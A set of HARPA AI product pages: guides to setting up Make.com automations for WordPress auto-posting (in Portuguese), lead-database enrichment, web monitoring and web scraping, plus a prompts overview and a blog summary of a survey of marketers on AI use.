----------------------------------------------------------------------------------------------------------------- * Converta qualquer página da web ou vídeo do YouTube em um rascunho de blog WordPress com um único clique. * Seu rascunho será enviado automaticamente para o seu WordPress. Se quiser publicar o post imediatamente, basta especificar isso durante a configuração do cenário - mostraremos onde fazer isso. * A configuração básica única leva ~5 minutos: personalize seu estilo, marcação (HTML ou Markdown) e insira seu URL de Webhook. Você pode alterar as configurações a qualquer momento. * Você não precisa de uma conta paga do [Make.com](https://www.make.com/en/pricing) . Também pode usar outros recursos como [n8n](https://n8n.io/) ou [Boost.Space](https://harpa.ai/grid/boost-space-connection-guide) , ou enviar posts diretamente para o WordPress se tiver plugins que aceitam solicitações API Post (por exemplo, [FlowMattic](https://flowmattic.com/) . ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-portuguese#modelos-pr%C3%A9-constru%C3%ADdos:) Modelos pré-construídos: * [Comando IA: Autopostagem para WordPress em 1 Clique](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) * [Modelo de Cenário Make.com](https://eu1.make.com/templates/13922?templatePublicId=13922) [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-portuguese#3-passos-para-configurar-seu-fluxo-de-trabalho) 3 Passos para Configurar seu Fluxo de Trabalho ------------------------------------------------------------------------------------------------------------------------------------------------------------------ ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-portuguese#configurando-o-comando-ia-no-harpa-(~2-min):) Configurando o Comando IA no HARPA (~2 min): 1. Importe o comando [Autopostagem para WordPress em 1 Clique](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) para o seu HARPA. 2. Abra o HARPA em qualquer página da web, encontre e execute o comando para concluir a configuração única: Mostraremos a localização do URL do Webhook no próximo capítulo. ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-portuguese#configura%C3%A7%C3%A3o-do-modelo-make.com-(~2-min):) Configuração do Modelo Make.com (~2 min): 1. Copie um [Modelo de Cenário Make.com](https://eu1.make.com/templates/13922?templatePublicId=13922) pronto 2. No primeiro módulo, você precisará criar um webhook para seu HARPA onde os dados serão enviados, e copiar o URL para o HARPA. ![](https://harpa.ai/img/grid/wordpress-1-click-post-01.webp) Não se preocupe se você fechou acidentalmente o comando ou inseriu dados incorretos. Simplesmente execute o comando novamente e selecione a opção "ALTERAR URL DO WEBHOOK". ![](https://harpa.ai/img/grid/wordpress-1-click-post-02.webp) ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-portuguese#configura%C3%A7%C3%A3o-do-m%C3%B3dulo-wordpress-(~3-5-min)) Configuração do Módulo WordPress (~3-5 min) * Ative o plugin Make.com Connector: [https://wordpress.com/plugins/integromat-connector](https://wordpress.com/plugins/integromat-connector) ![](https://harpa.ai/img/grid/wordpress-autoblogging-03.webp) * Vá até o plugin na sua página WordPress (canto inferior esquerdo), copie a chave API: ![](https://harpa.ai/img/grid/wordpress-autoblogging-04.webp) * Cole a chave API no Make.com. O URL base da API REST é o seu site com '_/wp-json/_' no final, por exemplo: **https://example.wpcomstaging.com/wp-json/** ![](https://harpa.ai/img/grid/wordpress-autoblogging-05.webp) * O módulo WordPress inclui configurações padrão, mas recomendamos a configuração manual se você personalizou o formato JSON. Basta executar o primeiro módulo e seu comando IA em qualquer janela do navegador para enviar dados de teste. Revise os resultados e arraste os campos gerados para suas células preferidas. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) A configuração padrão cria Rascunhos. Para publicar posts imediatamente, altere o campo "Status" no módulo WordPress. ![](https://harpa.ai/img/grid/wordpress-1-click-post-03.webp) Depois de configurar o cenário, lembre-se de definir a frequência de execução - neste caso, faz sentido configurar o cenário para executar "**Imediatamente quando os dados chegarem**". ![](https://harpa.ai/img/grid/wordpress-1-click-post-04.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Se você tiver algum problema, entre em contato conosco em: [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) . [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-portuguese#teste-sua-automa%C3%A7%C3%A3o-wordpress-com-1-clique) Teste Sua Automação WordPress com 1 Clique -------------------------------------------------------------------------------------------------------------------------------------------------------------------- ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Sugerimos configurar GPT-o3-mini, Claude 3.7 Sonnet ou modelos similares como sua conexão padrão no HARPA, pois esses modelos lidam eficazmente com a geração de textos longos. ![](https://harpa.ai/img/grid/wordpress-1-click-post-05.webp) 1. Certifique-se de que seu cenário no Make.com ou outra plataforma de automação esteja pronto para receber dados via Webhook. ![](https://harpa.ai/img/grid/wordpress-1-click-post-06.webp) 2. Encontre o conteúdo que você gostaria de usar como base para seu Post de Blog. Pode ser qualquer página da web com texto ou um vídeo do YouTube. 3. Encontre e execute o Comando IA que configuramos - clique em **Iniciar**. A IA analisará o conteúdo, criará um Esboço, depois escreverá um post de blog estruturado no formato necessário e o enviará via Webhook. ![](https://harpa.ai/img/grid/wordpress-1-click-post-07.webp) 4. Vá para a seção de posts onde você encontrará um novo rascunho com seu post pronto para publicação. ![](https://harpa.ai/img/grid/wordpress-1-click-post-08.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/zapier-wordpress-draft-generation-portuguese) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Lead Database Enrichment with Make.com and HARPA GRID [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Lead Database Enrichment with Make.com and HARPA GRID ===================================================== CONTENTS [\#](https://harpa.ai/grid/lead-database-enrichment#features-of-lead-database-enrichment-workflow) Features of Lead Database Enrichment Workflow ------------------------------------------------------------------------------------------------------------------------------------------------- In this guide, we'll show you a Make.com workflow that works with your existing customer or lead database containing business email addresses. HARPA automatically extracts and analyzes domain data to build comprehensive lead profiles with vital business intelligence. This enables hyper-personalized outreach campaigns that drive conversions. Leverage enriched data to: * **Boost Email Performance**: Personalized targeting of decision-makers helps your email stand out from the rest. * **Strategic Lead Segmentation**: With information about each lead's industry, you can segment your database by business sector and create specific sales strategies for each. * **Maximize ROI**: Focus resources on high-value prospects and qualified leads while eliminating non-relevant contacts to optimize campaign performance. The HARPA GRID + Make.com integration delivers an automated, scalable solution for lead enrichment and conversion optimization, helping you achieve measurable business growth. ### [\#](https://harpa.ai/grid/lead-database-enrichment#requirements:) Requirements: 1. Customer business email database. If you want to find new leads relevant to your business, please [check this guide](https://harpa.ai/grid/web-search-and-scraping) . 2. AI Command from the [Command Library](https://harpa.ai/library) : * [Database Enrichment](https://harpa.ai/library/database-enrichment/6728a09322b006c16f7f43e3) - Works with your existing customer or lead database that has business email addresses. It analyzes domain data to enrich your database with additional information about your customers' businesses. 3. Complete the basic HARPA & Make.com setup: * Sign up for Make.com. * Set up an active [HARPA GRID Node](https://harpa.ai/grid/browser-automation-node-setup) . * Configure the [HARPA API Connection](https://harpa.ai/grid/make-com-harpa-grid-setup-basics#harpa-api-connection) in Make.com. [\#](https://harpa.ai/grid/lead-database-enrichment#creating-and-running-a-scenario) Creating and Running a Scenario --------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/grid/lead-database-enrichment#extracting-emails-from-database) Extracting Emails from Database At this stage, add your CRM or Database module if it's available in Make.com. If not, you can always export emails from your leads or customer database and transfer them to Google Sheets. Let's say you have emails with domain data that needs processing, and your list looks something like this (this list is AI-generated and does not contain real emails): ![](https://harpa.ai/img/grid/database-enrichment-1.webp) We added columns to this table where we will collect the following information: Website, Business Name, Description, Location, and any email addresses and phone numbers that AI Scraper might find on the website. 1. Create a new scenario in Make.com ![](https://harpa.ai/img/grid/harpa-grid-make-com-1.webp) 2. Click "+" and add a **Google Sheets: Search Rows** module to your scenario. If you have never used Google Sheets with Make.com before, you need to create a connection. ![](https://harpa.ai/img/grid/database-enrichment-2.webp) 3. Configure your module: Choose a Spreadsheet ID and sheet name, then add a filter - we only need rows that have values in the Email column. ![](https://harpa.ai/img/grid/database-enrichment-4.webp) 4. Run your module to check that Google Sheets returns results. ![](https://harpa.ai/img/grid/database-enrichment-3.webp) ### [\#](https://harpa.ai/grid/lead-database-enrichment#run-ai-command-module) Run AI Command Module Add the **HARPA: Run AI Command** module to your scenario and configure it: ![](https://harpa.ai/img/grid/database-enrichment-5.webp) * Select your connection and paste the command name **Database Enrichment**. If you haven't downloaded it yet, get it [here](https://harpa.ai/library/database-enrichment/6728a09322b006c16f7f43e3) . * Drag the "**email**" element from the previous Google Sheets module into the "**Input 1**" field. * Enter the parameter name that will store user data. Use '**json**'. ![](https://harpa.ai/img/grid/database-enrichment-6.webp) Test your scenario by making sure each module runs at least once then stop it. ### [\#](https://harpa.ai/grid/lead-database-enrichment#data-enrichment) Data Enrichment 1. Add a **Google Sheets: Update a Row** module. ![](https://harpa.ai/img/grid/database-enrichment-7.webp) 2. Configure it: Choose a Spreadsheet ID and sheet name, then drag & drop the Row Number to make changes and add both new and existing data that should be entered into the table. ![](https://harpa.ai/img/grid/database-enrichment-8.webp) 3. Save and run your scenario. Data will fill each row of your Google Sheet in order, which you can use for analysis or creating personalized outreach emails. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/email-outreach-campaign) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/web-search-and-scraping) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Use Cases & ChatGPT Prompts [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/cases.svg) Use Cases & Prompts =================== CATEGORY APP [#](https://harpa.ai/cases#chatgpt-prompts-repository)  ChatGPT Prompts Repository ---------------------------------------------------------------------------------- HARPA AI platform provides a repository of ChatGPT prompts and web automation recipes. These prompts are designed to simplify typical tasks and work done online. HARPA AI ChatGPT prompts cater to a wide range of industries and users. There are prompts to simplify web pages into tweets, extract data, and generate ToDo lists. The platform also offers advanced capabilities for SEO optimization, content creation, and planning. You can extract keywords from any web page, create a marketing report, and outrank competitors with an SEO-optimized article. ![](https://harpa.ai/img/cases/illustration-cases.webp) ### [##](https://harpa.ai/cases#how-to-use-harpa-ai-chatgpt-prompts)  How to Use HARPA AI ChatGPT Prompts To use page-aware ChatGPT prompts, you need a free ChatGPT account and a HARPA.AI Chrome Extension. Here are the simple 3 steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to any website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will open. Type slash symbol **/** in HARPA chat to bring a list of prompts and commands. ### [##](https://harpa.ai/cases#page-aware-prompts)  Page-Aware Prompts HARPA AI prompts are page-aware. HARPA AI parses the content of a web page before sending it to ChatGPT. This ensures that the information received by ChatGPT is accurate and organized, leading to more effective results. HARPA AI is designed to be simple and straightforward, allowing anyone to use it without a technical expertise. ### [##](https://harpa.ai/cases#prompts-overview)  Prompts Overview HARPA AI is the ultimate solution for streamlining web workflows and task automation. It offers a repository of predefined prompts for various use cases: * Simplifying text into basic concepts * Extracting data from a page * Generating ToDo lists from page content * Summarizing page content into a tweet or extended summary * Correcting grammar in text * Extracting and researching SEO keywords * Creating keyword reports and SEO content plans * Outranking competition with an in-depth, SEO-optimized article * Breaking down your audience into targetable groups with similar needs * Creating monthly and weekly content calendars * Building topic authority with article ideas * Auditing and improving content for E-A-T * Clustering keywords based on semantic relevance * Creating a 6-month SEO plan * Generating landing page structures * Creating a list of content ideas for a blog * Generating a 20-word meta description from webpage text * Writing promotional emails to promote products or services * Generating abandoned cart email notifications * Writing influencer outreach DMs, **and more...** These capabilities are powered by ChatGPT technology. If you want to streamline your workflows and automate tasks, consider using HARPA AI and its ChatGPT prompts. Please pick a category or an app on the left, to see a list of prompts HARPA provides in that category or for that web app or service. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Make.com Trigger Module: On Web Monitor Result [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Make.com Trigger Module: On Web Monitor Result ============================================== CONTENTS [HARPA AI Web Browser Agent App](https://eu1.make.com/app/invite/c98499c16cfa22f1051f64346ef91aaa) comes with a **On Web Monitor** trigger module. HARPA GRID can send web monitoring events to this webhook. It's a great way to start your workflow. For example, you can monitor competitor [price changes](https://harpa.ai/guides/monitor-price-drops#monitor-customization-options) or [website content updates](https://harpa.ai/guides/track-competitors) , which will then kick off your Make.com scenarios. HARPA AI runs monitors and automations in your browser, so your web data never leaves your machine. ### [\#](https://harpa.ai/grid/module-on-web-monitor#how-to-monitor-websites-in-make.com) How to Monitor Websites in Make.com Make sure you completed the [GRID Setup Steps](https://harpa.ai/grid/make-com-harpa-grid-setup-basics) . Then: 1. Create a new scenario in Make.com ![](https://harpa.ai/img/grid/harpa-grid-make-com-1.webp) 2. Click "**+**" and add a **HARPA: On Web Monitor** module to your scenario ![](https://harpa.ai/img/grid/on-web-monitor-module-1.webp) 3. Click **Create a Webhook** 4. Give it a name, such as **Data from HARPA AI**, and save. ![](https://harpa.ai/img/grid/on-web-monitor-module-2.webp) 5. Navigate to a web page you would like to monitor. 6. For example, to keep track of a product price, open HARPA AI by clicking its icon in the top right corner of the browser or pressing **Alt+A** (on Windows) and **^+A** (on Mac), and switch over to the **AUTOMATE** tab at the top of HARPA window. 7. The **AUTOMATE** tab will present you with a list of possible items to track. * To monitor page changes, select **Page Text Changes** option. This will notify you when new content, like an article, appears on the tracked website. * To monitor a product price, simply click the corresponding option. For example, if the current product price is **$549.95**, click the item with **$549.95**. ![](https://harpa.ai/img/grid/on-web-monitor-module-3.webp) 8. Set up your tracking criteria, then go to the **Actions & Integrations** tab to add your webhook URL from Make.com. Learn more about [Monitor Customization Options](https://harpa.ai/guides/monitor-price-drops#monitor-customization-options) . In this menu, you can adjust trigger frequency - choose to send a webhook for each trigger or only for the first one. ![](https://harpa.ai/img/grid/on-web-monitor-module-4.webp) 9. Click the **START** button and HARPA AI will launch and refresh the web page in background periodically. HARPA will show a browser notification and send data through a webhook to trigger your Make.com scenario. ![](https://harpa.ai/img/grid/on-web-monitor-module-5.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/module-on-action-result) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/make-use-cases) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT & 2023 AI Revolution in Digital Marketing [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/share-07.svg) ChatGPT & 2023 AI Revolution in Digital Marketing ================================================= OUTLINE NAVIGATE [\#](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing#overview-of-the-research) Overview of the Research ------------------------------------------------------------------------------------------------------------------ A [survey](https://www.authorityhacker.com/ai-survey/) of 3,812 digital marketers was conducted to uncover how they are utilizing artificial intelligence (AI) technologies. Respondents were asked 27 questions to get a detailed picture of this rapidly changing landscape. ### [\#](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing#key-survey-findings) Key Survey Findings Here is a summary of the most interesting findings and key statistics: * 75.7% of marketers are currently using AI tools for work. This demonstrates how quickly AI has been adopted in the industry. * AI is being used regularly: 49.5% of marketers apply AI tools multiple times per week or more. * 69% of marketers use ChatGPT, largely due to OpenAI making it widely available for free to everyone. * AI content quality is already seen as very good. 65.8% of people think AI content is equal to or better than human writing. * 63% of AI adopters cite inaccuracies in AI content as a major challenge. This is widely known but hasn't deterred many from using AI. * 85.1% of marketers are using AI for article writing. This is a very high percentage and shows how popular AI content creation has become in a short time. * Understanding AI is becoming extremely important for jobs. 98.1% of marketers acknowledge that some comprehension of AI is vital for their jobs. * AI is putting some jobs more at risk than others. 81.6% of marketers think content writers' jobs are endangered because of AI. * Companies are already replacing people. 32.9% of businesses have already supplanted some human tasks with AI solutions. * 60% of marketers feel positive about the emergence of the AI industry. The sentiment is largely upbeat as marketers have much to gain from utilizing this technology. * Recently, many marketers were worried about losing search traffic to AI. Now only 30.1% of marketers believe AI will negatively impact search traffic in 5 years. * There is concern about service providers not disclosing the use of AI in their work. 54.9% of respondents suspect they've gotten undisclosed AI content from a service provider. [\#](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing#about-the-research) About the Research ------------------------------------------------------------------------------------------------------ A 27-question survey was conducted to learn more about how digital marketers are leveraging AI technology. To reach a broad audience, the survey was promoted to a 100k email subscriber list, shared on [Twitter](https://twitter.com/GaelBreton/status/1640389591197794310) , mentioned in a [Podcast](https://www.authorityhacker.com/podcast/) , and posted in Facebook and Discord communities. Paid ads on Facebook and Twitter were also run to boost responses. In just 7 days, 3,812 responses were gathered – five times more than any other survey conducted. No surprise there, given the current surge in AI interest. Just over 50% of respondents were website owners, while freelancers made up one-fifth. The rest were an almost even mix of agencies, in-house employees, and other marketers. ![](https://harpa.ai/img/blog/blog11-1.webp) The chart was created using the HARPA AI **/chart** command. Since Authority Hacker's content caters to website owners, it's logical that half the survey participants fall into this category. The geographic distribution of participants was also tracked, finding impressive representation from 134 countries. These were categorized by region. North America, Europe, and Asia made up the majority. [\#](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing#ai-usage-by-marketers) AI Usage by Marketers ------------------------------------------------------------------------------------------------------------ The research found that 75.7% of online marketers already utilize AI tools in their daily work. This shows how quickly AI has been adopted in the industry. 49.5% of marketers apply AI tools multiple times per week or more. It seems we've moved from early adopters just testing it out to an era where AI is becoming a core part of work for many professionals. ### [\#](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing#reasons-against-using-ai) Reasons Against Using AI The survey uncovered the main reasons 21.1% haven't adopted AI yet: * Lack of knowledge - a barrier for 45.2% of respondents. ChatGPT's learning curve is very small. * Lack of time - ironic given AI's time-saving abilities. * Concerns about accuracy of AI data or content - an issue for 13.9%. Valid concerns since AI often makes up facts. ### [\#](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing#popularity-of-specific-ai-tools) Popularity of Specific AI Tools The research found: * 69% of marketers use ChatGPT - the most popular tool. Likely due to the free basic account and affordable paid options. * For image generation, Midjourney (54.4%) and DALL-E-2 (33.7%) lead. * Although ChatGPT and DALL-E are owned by OpenAI, this company doesn't yet dominate image generation. [\#](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing#using-ai-for-content-creation) Using AI for Content Creation ---------------------------------------------------------------------------------------------------------------------------- The study revealed AI is primarily used for content creation: * 85.1% of AI users apply it for article and blog writing. * 47.8% use it for copywriting. * 37.5% apply AI for keywords. It was also found 65.8% of professionals consider AI content equal or better quality than human-written. However, 63% cite bias and inaccuracy as a major issue. [\#](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing#ai's-impact-on-marketer's-jobs) AI's Impact on Marketer's Jobs ------------------------------------------------------------------------------------------------------------------------------ The research showed understanding AI is quickly becoming important for marketers: * 98.1% believe some comprehension of AI is vital for their jobs. * 90% are confident in their ability to learn and adapt to new AI tools. But there are also concerns about AI's impact on jobs: * 81.6% think content writers' roles are endangered by AI. * Over half of marketers are worried about being replaced by AI at work. * 32.9% of companies have already supplanted some human tasks with AI. Overall though, sentiment about the AI industry's growth is positive: * 60% view the rise of AI positively. * Under 20% believe AI will negatively impact content quality. * Only 30.1% think AI will negatively affect search traffic in the next 5 years. [\#](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing#ai-usage-transparency) AI Usage Transparency ------------------------------------------------------------------------------------------------------------ The study revealed concerns around transparency of AI use: * 54.9% suspect they've received undisclosed AI content from vendors. * 59.5% oppose mandatory AI content disclosures. * Yet 37.4% of marketers already use AI detection tools, many unreliable. In summary, the research showed AI is already actively used in digital marketing and exerting considerable influence on the field. However, many open questions remain around transparency of use and impact on jobs. [\#](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing#analysis-of-other-sources:) Analysis of other sources: ---------------------------------------------------------------------------------------------------------------------- The findings from various studies and surveys have highlighted the features listed below regarding the use of AI in different areas of human life: * **Helping people with disabilities**: Artificial intelligence is being used to assist people with disabilities in overcoming their challenges[(Forbes)](https://www.forbes.com/sites/bernardmarr/2020/06/22/10-wonderful-examples-of-using-artificial-intelligence-ai-for-good/?sh=24a638842f95) . * **Personalized shopping**: E-commerce platforms are using AI to provide personalized shopping experiences for customers[(Simplilearn)](https://www.simplilearn.com/tutorials/artificial-intelligence-tutorial/artificial-intelligence-applications) . * **Astronomy**: AI is helping astronomers by providing notifications that allow them to point their telescopes in the appropriate direction [(Simplilearn)](https://www.simplilearn.com/tutorials/artificial-intelligence-tutorial/artificial-intelligence-applications) . * **Data security**: Many industry leaders are employing AI for data security purposes, including providing valued services and preparing their companies for the future [(Simplilearn)](https://www.simplilearn.com/tutorials/artificial-intelligence-tutorial/artificial-intelligence-applications) . * **Climate change**: AI is being used to tackle climate change by visualizing the future effects of floods and wildfires, improving climate decision-making, monitoring forests, and sharing data [(ScientificAmerican)](https://www.scientificamerican.com/article/10-ways-ai-was-used-for-good-this-year/) . * **Improving access to nutrients and water**: AI is being used to enhance access to nutrients and water, demonstrating how technology can work with nature to solve problems [(ScientificAmerican)](https://www.scientificamerican.com/article/10-ways-ai-was-used-for-good-this-year/) . * **Hiring and evaluating workers**: While AI is expected to have a major impact on jobholders in the next 20 years, fewer people believe it will greatly affect them personally. Majorities also oppose using AI in making final decisions on hiring or firing ([PewResearch](https://www.pewresearch.org/topic/internet-technology/emerging-technology/artificial-intelligence/) and [Forbes](https://www.forbes.com/sites/bernardmarr/2019/12/09/the-10-best-examples-of-how-companies-use-artificial-intelligence-in-practice/?sh=24afdc847978) ) * **Designing new molecules**: AI is being used to design new molecules, a task that was previously unimaginable without the help of algorithms [(NY Times)](https://www.nytimes.com/interactive/2023/04/14/upshot/up-ai-uses.html) . * **Building alien-like spaceship parts**: AI is being utilized to design and build alien-like spaceship parts, showcasing its ability to supercharge work in ways that were previously unimaginable [(NY Times)](https://www.nytimes.com/interactive/2023/04/14/upshot/up-ai-uses.html) . * **Planning gardens**: AI is being used to help people plan their gardens, demonstrating its versatility in everyday tasks [(NY Times)](https://www.nytimes.com/interactive/2023/04/14/upshot/up-ai-uses.html) . [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/elevenlabs-voice-ai-innovation) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/cloud-gpt-connection) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Scrape the Web in Make.com [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Scrape the Web in Make.com ========================== CONTENTS [HARPA AI Web Browser Agent App](https://eu1.make.com/app/invite/c98499c16cfa22f1051f64346ef91aaa) comes with a **Scrape Web Page** module to parse webpage content in Markdown format using your browser. You can also choose specific elements to extract from page using CSS, XPath, or Text selectors. You can use this module to extract emails from websites, enrich your leads database, extract data items e.g. prices from the web, or gather content for your articles. Please refer to our [Web Search & Scraping](https://harpa.ai/grid/web-search-and-scraping) for a practical example on searching for emails in websites. ### [\#](https://harpa.ai/grid/module-scrape-web-page#how-to-scrape-web-page-remotely-from-make.com) How to Scrape Web Page Remotely from Make.com Make sure you completed the [GRID Setup Steps](https://harpa.ai/grid/make-com-harpa-grid-setup-basics) . Then: 1. Create a new scenario in Make.com ![](https://harpa.ai/img/grid/harpa-grid-make-com-1.webp) 2. Click "**+**" and add a **HARPA: Scrape Web Page** module to your scenario ![](https://harpa.ai/img/grid/harpa-grid-make-com-15.webp) 3. Select your connection and enter the URL to parse the webpage content in markdown format. For examples of how to search for emails using selectors, check out our [Web Search & Scraping](https://harpa.ai/grid/web-search-and-scraping#finding-information-using-harpa-scraping-module) . ![](https://harpa.ai/img/grid/harpa-grid-make-com-16.webp) 4. Click **Run once** to get a result. ![](https://harpa.ai/img/grid/harpa-grid-make-com-17.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/module-search-the-web) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/module-on-action-result) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY 